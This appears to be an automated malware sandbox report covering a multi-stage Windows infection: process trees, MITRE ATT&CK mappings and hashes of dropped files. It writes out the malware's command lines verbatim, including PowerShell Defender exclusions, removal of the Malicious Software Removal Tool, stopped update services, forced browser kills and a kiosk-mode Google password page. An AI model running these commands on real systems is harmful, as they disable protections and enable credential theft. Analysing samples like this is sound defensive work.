        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2544
  - - C:\Users\Admin\AppData\Local\Temp\1008030001\document.exe
      "C:\Users\Admin\AppData\Local\Temp\1008030001\document.exe"
      4⤵
      Checks computer location settings
      Drops startup file
      Executes dropped EXE
      Adds Run key to start application
      Suspicious behavior: AddClipboardFormatListener
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:6084
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1008030001\document.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5380
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'document.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2740
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\svchost.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:6136
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3276
  - - C:\Users\Admin\AppData\Local\Temp\1008050001\fb7a2e6abe.exe
      "C:\Users\Admin\AppData\Local\Temp\1008050001\fb7a2e6abe.exe"
      4⤵
      PID:5836
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
        5⤵
        Uses browser remote debugging
        
        PID:4720
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7fff7279cc40,0x7fff7279cc4c,0x7fff7279cc58
        6⤵
        
        PID:5240
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2004,i,10644711800082920338,15758416131310523087,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1996 /prefetch:2
        6⤵
        
        PID:1368
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1828,i,10644711800082920338,15758416131310523087,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2088 /prefetch:3
        6⤵
        
        PID:5052
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2236,i,10644711800082920338,15758416131310523087,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2384 /prefetch:8
        6⤵
        
        PID:3928
  - - C:\Users\Admin\AppData\Local\Temp\1008051001\2023b2a915.exe
      "C:\Users\Admin\AppData\Local\Temp\1008051001\2023b2a915.exe"
      4⤵
      PID:3260
  - - C:\Users\Admin\AppData\Local\Temp\1008052001\52d6315cf0.exe
      "C:\Users\Admin\AppData\Local\Temp\1008052001\52d6315cf0.exe"
      4⤵
      PID:5616
  - - C:\Users\Admin\AppData\Local\Temp\1008053001\cf5a50d47b.exe
      "C:\Users\Admin\AppData\Local\Temp\1008053001\cf5a50d47b.exe"
      4⤵
      PID:3672
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM firefox.exe /T
        5⤵
        Kills process with taskkill
        
        PID:5240
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM chrome.exe /T
        5⤵
        Kills process with taskkill
        
        PID:1068
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM msedge.exe /T
        5⤵
        Kills process with taskkill
        
        PID:5248
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM opera.exe /T
        5⤵
        Kills process with taskkill
        
        PID:556
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM brave.exe /T
        5⤵
        Kills process with taskkill
        
        PID:364
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
        5⤵
        
        PID:5696
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        6⤵
        
        PID:6076
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1988 -parentBuildID 20240401114208 -prefsHandle 1900 -prefMapHandle 1892 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {21c2d226-f57c-43a1-bbff-1e1c957f080b} 6076 "\\.\pipe\gecko-crash-server-pipe.6076" gpu
        7⤵
        
        PID:2028
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2468 -parentBuildID 20240401114208 -prefsHandle 2436 -prefMapHandle 2432 -prefsLen 24600 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {65fb344f-5bec-4580-a706-379e88c76158} 6076 "\\.\pipe\gecko-crash-server-pipe.6076" socket
        7⤵
        
        PID:4900
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3092 -childID 1 -isForBrowser -prefsHandle 3084 -prefMapHandle 3080 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9ea76e2b-b195-448e-9f5e-e836d437f93c} 6076 "\\.\pipe\gecko-crash-server-pipe.6076" tab
        7⤵
        
        PID:6100
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3732 -childID 2 -isForBrowser -prefsHandle 3724 -prefMapHandle 3048 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d82d29de-4cd3-41a7-ad6d-046a616f6e4c} 6076 "\\.\pipe\gecko-crash-server-pipe.6076" tab
        7⤵
        
        PID:2216
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3944 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 3904 -prefMapHandle 5184 -prefsLen 29197 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {802cb36c-8cad-48fe-905a-a16238807d37} 6076 "\\.\pipe\gecko-crash-server-pipe.6076" utility
        7⤵
        
        PID:1500
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4764 -childID 3 -isForBrowser -prefsHandle 4772 -prefMapHandle 5612 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e52ea594-cb5a-43ec-a444-8ff8a5765437} 6076 "\\.\pipe\gecko-crash-server-pipe.6076" tab
        7⤵
        
        PID:2988
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5724 -childID 4 -isForBrowser -prefsHandle 5732 -prefMapHandle 5736 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {cc825050-dd8a-4c43-83c5-8d4897580470} 6076 "\\.\pipe\gecko-crash-server-pipe.6076" tab
        7⤵
        
        PID:5176
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5908 -childID 5 -isForBrowser -prefsHandle 5916 -prefMapHandle 5920 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {21bba669-c2f3-410f-b973-04e7e32cb05a} 6076 "\\.\pipe\gecko-crash-server-pipe.6076" tab
        7⤵
        
        PID:5548
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5712 -childID 6 -isForBrowser -prefsHandle 6092 -prefMapHandle 5936 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0dd4af55-ae61-4f57-a6a2-1a78caef7f95} 6076 "\\.\pipe\gecko-crash-server-pipe.6076" tab
        7⤵
        
        PID:5700
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6164 -childID 7 -isForBrowser -prefsHandle 5856 -prefMapHandle 5860 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e60f5cb7-f338-460d-94c3-122cfa0cf57c} 6076 "\\.\pipe\gecko-crash-server-pipe.6076" tab
        7⤵
        
        PID:1396
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3424 -childID 8 -isForBrowser -prefsHandle 5148 -prefMapHandle 5520 -prefsLen 29278 -prefMapSize 244658 -jsInitHandle 896 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {dd1ff319-e6bf-4f26-a2f7-13309e8d2998} 6076 "\\.\pipe\gecko-crash-server-pipe.6076" tab
        7⤵
        
        PID:4408
  - - C:\Users\Admin\AppData\Local\Temp\1008054001\8a4ba117a8.exe
      "C:\Users\Admin\AppData\Local\Temp\1008054001\8a4ba117a8.exe"
      4⤵
      PID:4544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3644

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3848

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4032

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3920

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4392

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4512

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:1756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4756

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2916

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4388

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4616

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3196

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:3284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
PID:3800

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks processor information in registry
PID:4132

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:3448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:4720

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:4444

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:2880

C:\ProgramData\Mig\Mig.exe
C:\ProgramData\Mig\Mig.exe
1⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
PID:4596
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:4820
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5200
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:5624
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2340
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:2924
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:5808
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:4544
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:836
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1004
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:2892
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:1076
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4908
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Power Settings
  PID:1592
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2304
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Power Settings
  PID:5336
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3620
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Power Settings
  PID:3860
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3168
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Power Settings
  PID:3404
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3684
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:5828
- C:\Windows\system32\dialer.exe
  C:\Windows\system32\dialer.exe
  2⤵
  PID:6132
- C:\Windows\system32\dialer.exe
  dialer.exe
  2⤵
  PID:4744

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Modify Authentication Process

T1556

Power Settings

T1653

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Authentication Process

T1556

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Google\Chrome\Application\debug.log

Filesize
444B

MD5
bd17f295b0bf4d3a3878a4e8c099b250

SHA1
d5705f76598225fa86eb717aa0e6d682d2363df7

SHA256
d3daee3417833512ea1d49774d4e938516e41f8efb45a4b031f7dc769bfb8587

SHA512
894f93b487251c27d31d76d081797c9717f32058ab26a9331c655d31ae81a86fe90e614230dcce14d30c7e0535fa50c4258e1ca5be6af81fb1da295e1c9166f7

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Filesize
328B

MD5
517e809d828542feeb9fce49f1248841

SHA1
7e0913f02858ee6e4b8ef011a83fcc3b5c33a0cd

SHA256
5acf6a326ecdb8ea09e3c62778599d16856f6b8b6b389ccba84c43a763aa829f

SHA512
490dd3fe86fde531980d4cb5464e8ce1f763b6d9030076f4b22d0b4572e35a99ecd64869449f0e2e645d1dba8c28788784de1736b7d7641033c4f84117cd6bc1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
62477035d09eca55a37aa3ec60270868

SHA1
1ba72f9dd882e481b7b41dc21865459e9ee498a3

SHA256
070316ee9aeb1f07c2574cfc3adcd262a0bd9bee56561a759c15cd8112bc8d64

SHA512
c3922b9dc83102b1857488ce88fcc8a069892e2cf02663fa8f2f53546bcaadea30c72b5883b89e6266f01b8f8add45614ceeb21b874b1383dd3587798a6de449

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
0256bd284691ed0fc502ef3c8a7e58dc

SHA1
dcdf69dc8ca8bf068f65d20ef1563bbe283e2413

SHA256
e2fb83098e114084f51ed7187334f861ce670051046c39f338928296ca9a49cf

SHA512
c5b29c1e0a15ddb68b0579848066774fa7cdc6f35087bbbf47c05a5c0dcc1eb3e61b2ddadfbded8c1ed9820e637596a9f08a97db8fb18000d168e6b159060c42

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
bceed48e720d53a41dfa3c7c73f23f0f

SHA1
d06284e9e184a924efb235e8abc8ec19348b8c2d

SHA256
2a94a7e6d5247e4f03a36f6c9cd1e24c394bdbcdf46b9a866ad7823d0483d019

SHA512
402a0006b17a603c3a8c6ebc566579d1fe1a27e5d834ebe3cb1420d09d829ef261de2b4e62b6fce3624e93fe42dbfa21d4bb7063469c480ae4d9c5568d5df31f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d3e9c29fe44e90aae6ed30ccf799ca8

SHA1
c7974ef72264bbdf13a2793ccf1aed11bc565dce

SHA256
2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

SHA512
60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
5d2242ff9dc07b67553123b3c939974d

SHA1
ec7b42a468cdb04f1403cd18f67aa4d5af6c5a7f

SHA256
27845ed84cb47c4ba2883bdd75c0a0be7035060f6ac845ca256a391bee640716

SHA512
25b081ed892b9bc03a7f77c16d110fdc8f03d118689f9773fff258e78a65c0e94c01886e01a4ba0cf5cb7bdb0d7e1e1babb58e1db4ba2582a4e1125b80ebd0ee

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
9a11806a9c266f2b41346ac45f5658ab

SHA1
83fe0aef70c4f1099d1c64bf7ade9a920db96887

SHA256
5de0d30529a8c542449c303a35c5ca6b878e2442898ada516ee34a32a2bc740e

SHA512
bc64f8e63b415f28522c1dcd25ef091c6626dbcfae3e9b5bddce7c17aa27ced86da2663a038e4d6d485a7c4e7e0d13bef75253437da528885f2abf6b2ef88205

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
656fadf87d757f82c8c91d71dc6424ac

SHA1
c1a5bfebd5371253884435e63ec17391b0aa472d

SHA256
278b36ac559eebee77f6b6db38d4220cd751bf29ea2777e1baf433eb749c3d83

SHA512
6ae75588c8655eeb4e2b7a1954dab1f9292dab02d119da9be38996230022719cb8dc970aa492002d00c96d3becfedb4b7923d249a48426565757306c5321ea1d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2c15c9b93a18e9101bcebe5c2b51b2a5

SHA1
57ad824ae3c861cf23aed75e960d630321bd6045

SHA256
86187274c3d9405aae1108e8b940f522e64ad17544f5aa438ce2368e2e79446f

SHA512
0799915f58e3de2559956bf85f6175c1b067227ab373f5a56bee44156dd19bf37dbf74bcaaba82a9dc46df4f28248ac3e74e8ab89b95d5266e4d04358346d168

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\iz0mcgq4.default-release\activity-stream.discovery_stream.json.tmp

Filesize
22KB

MD5
feb27343a27e80f7676c9e91137d5570

SHA1
d03933afef9c12937c60e11fccb69c8905069097

SHA256
a11ca7498347a16c567a57213f46a3735f7f8e27d736744f09d8a4cbf3b959e6

SHA512
040a087483fdea7fd1775c000198dd4da3e8fda0cfe4c4619fd999b985497b687c2e3dbcdf6667a3eeecfc0ea3e47b3085e501b2e0559f62435040959005e505

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\iz0mcgq4.default-release\cache2\entries\39DB9E847E680B765D7B04FCCE6BF5BC0225F878

Filesize
13KB

MD5
8bbd27a6b8dace4ab54572e1298d13f4

SHA1
91107f81b73afcbf46d70c6cdcc3c92704e509c0

SHA256
1c1ccd2f68a27c9223fd2b2dcb5a5d42b1e3a06a51141b533b12f9694ac9ac32

SHA512
db8e588113d41b98916e424b2aab37879358f4ce3afe0de8696d7ad41cacacf181cde930bc407fdc68019eb8eca99670ce33a1dbc6b68b4d78d37cda341bdb4d

Download Submit
C:\Users\Admin\AppData\Local\Temp\1007944001\L.exe

Filesize
1.8MB

MD5
fa351b72ffb13bfc332a25a57a7f075f

SHA1
5af49613c179bed23dd43d76aedbe3d1b63004a3

SHA256
d2c90431f09fc7818c5afb43bbec077fc29544ddcb786bc655a82d1c33e20cdc

SHA512
de49eeaa695f9d6252bd3b547689b0e648999c7ee68d2e16a3d073d88505a1c6b0a4da538db7ce52653bfc2dc89a13dd07c894f8e28f9227f1d1c92df67216f9

Download Submit
C:\Users\Admin\AppData\Local\Temp\1008005001\file.exe

Filesize
50KB

MD5
666248c216a3f63828f739839230f9f6

SHA1
13690837235053762a538b4c5b2b601ec9f6bb22

SHA256
00655d1ac19f7ffeab812a77f9b85f07fced78e7eb27c641b0e0ce25f16963da

SHA512
37e57468a080dbb33ee480ae63d80939ff06050035f168630ba1d8e220e1b4859f78f897a12ba83a514bc97ed7927ee01c6fcca67fbaf479294a529302f7bdde

Download Submit
C:\Users\Admin\AppData\Local\Temp\1008010001\FunnyJellyfish.exe

Filesize
1.4MB

MD5
e1cf72329542de8b3004517ee07d8371

SHA1
c22ac1f279cc11dffd30a41863181da598231d4b

SHA256
301e56052cf570110e66a429c0acc2454569ff5f966af0e809bef33eb2e02baa

SHA512
7267aa2244edd22b4ceda89e8e188180bcc409320f77b0d9fc9fbb63c0906ab23dc9dff4bd5e02018aa08194cb8bb8dcd0b28ae1c44b2497a13bb21411ec6edc

Download Submit
C:\Users\Admin\AppData\Local\Temp\1008030001\document.exe

Filesize
72KB

MD5
8d52069bd117da94e0b0b70e73e33fb0

SHA1
e8090adddff167e1bda4194af968ba4bc22a2d60

SHA256
b3e217c467cfe1e8079e82b88f2f99950a9459330a8843070ebb34bf3e2bcf38

SHA512
7a91eeb0cf3edb53d0ac3d51abe85c97bb09da5b334b387fda90144a2f3729693367c451fee9e04cb953dcf8d9d1b91ee12961bfe9f1e53c0ab06aababd696ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\1008050001\fb7a2e6abe.exe

Filesize
4.2MB

MD5
7300372edfa809331d4b525a77c2a93d

SHA1
0540bbbf3b91b4ebbe67807be1c3fd1db091044c

SHA256
524c9cae1f3bbe7c51d7adf150591c598977e035f2fb86236bc588843d352507

SHA512
af1ac02b02c439cb718703a40e126583982fbc0aefbbf1992126899a099754b45f1839059332a1232be89c66af6f08fdec5aedae43c5389e5baa0d6d49c556b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\1008051001\2023b2a915.exe

Filesize
1.7MB

MD5
bbdcc9dddad9b362ce059565c260d570

SHA1
09a8519525564f130824b36c7245a83c8b1d05a1

SHA256
8e1a9142a9f6b7a601ff64074a7a59e370d5bc8270ef5aa17277ef4531b05bc6

SHA512
9332b1522b9fba2705970f20995ecb8141ea8965b240bd42cf09e146cd523da40b5b455cd68d0cf0825118a2e291a473ecfb91f4648a42595e2a592ae9588e2e

Download Submit
